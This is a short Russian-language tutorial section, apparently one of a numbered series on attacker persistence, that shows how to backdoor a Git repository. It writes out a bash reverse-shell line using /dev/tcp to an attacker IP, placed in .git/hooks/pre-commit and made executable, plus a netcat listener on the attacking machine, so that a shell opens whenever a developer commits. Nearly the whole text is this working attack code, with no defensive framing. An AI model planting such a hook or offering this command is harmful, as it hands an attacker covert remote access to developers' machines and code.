# 10 - Git hook

У git, так же как и у APT есть концепция хуков, а еще файл конфигурации. Хуки распологаются в .git/hooks/ и имеют уникальные имена, для примера возьмем файл pre-commit.

```bash
// Правим файл .git/hooks/pre-commit, добавляем строку
bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1'
chmod +x .git/hooks/pre-commit


// на машине атакующего как всегда поднимаем netcat
nc -vln 9010
```

Теперь как только разработчик решит закоммитить свой код, мы получим шелл.
